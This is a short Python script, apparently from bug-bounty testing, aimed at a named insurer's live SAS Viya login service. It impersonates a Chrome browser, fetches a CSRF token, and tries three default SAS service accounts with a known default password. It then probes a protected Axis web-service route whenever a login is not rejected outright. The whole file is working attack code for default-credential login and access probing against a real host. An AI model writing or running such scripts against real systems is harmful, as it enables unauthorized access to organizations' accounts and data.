#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
import json,sys,time
BASE='https://va.baloise.de'
H={'X-Bug-Bounty':'dwbzn','Accept':'application/json'}
accounts=[('sasdemo','Orion123'),('sasadm@saspw','Orion123'),('sastrust@saspw','Orion123')]
for username,password in accounts:
    s=requests.Session(impersonate='chrome')
    r=s.get(BASE+'/auth/login',headers=H,allow_redirects=False,timeout=20)
    csrf=s.cookies.get('CSRFT759-S',domain='.baloise.de') or s.cookies.get('CSRFT759-S')
    print(json.dumps({'user':username,'step':'init','status':r.status_code,'exchange':getattr(r,'toadex_exchange_id',None),'csrf':bool(csrf)}),flush=True)
    if not csrf:
        continue
    hh={**H,'Content-Type':'application/json','X-Same-Domain':'1','X-CSRFT759':csrf}
    r=s.post(BASE+'/auth/rest/public/authentication/location/access',headers=hh,json={'location':BASE+'/SASBIWS/services/Version?wsdl'},timeout=20)
    print(json.dumps({'user':username,'step':'location','status':r.status_code,'exchange':getattr(r,'toadex_exchange_id',None),'next':(r.json().get('meta',{}).get('uiSettings',{}).get('path') if r.headers.get('content-type','').startswith('application/json') else None)}),flush=True)
    hp={**hh,'X-Continue-Flow':'true'}
    r=s.post(BASE+'/auth/rest/public/authentication/password/check',headers=hp,json={'username':username,'password':password},timeout=30,allow_redirects=False)
    try: j=r.json()
    except: j={}
    errors=[e.get('code') for e in j.get('errors',[]) if isinstance(e,dict)]
    meta=j.get('meta',{}) if isinstance(j,dict) else {}
    print(json.dumps({'user':username,'step':'password','status':r.status_code,'exchange':getattr(r,'toadex_exchange_id',None),'errors':errors,'nextAuthStep':meta.get('nextAuthStep'),'uiPath':meta.get('uiSettings',{}).get('path'),'location':r.headers.get('location')}),flush=True)
    # Only if not an ordinary wrong-password response, test protected route with this same session.
    if r.status_code < 400 or ('USERNAME_PASSWORD_WRONG' not in errors and 'NOT_AUTHORIZED' not in errors):
        rr=s.get(BASE+'/SASBIWS/services/Version?wsdl',headers=H,allow_redirects=False,timeout=20)
        print(json.dumps({'user':username,'step':'axis','status':rr.status_code,'exchange':getattr(rr,'toadex_exchange_id',None),'length':len(rr.content),'location':rr.headers.get('location'),'axis':b'axis' in rr.content.lower()}),flush=True)
        if rr.status_code not in (301,302,303,307,308,400,401,403):
            sys.exit(0)
    time.sleep(1)
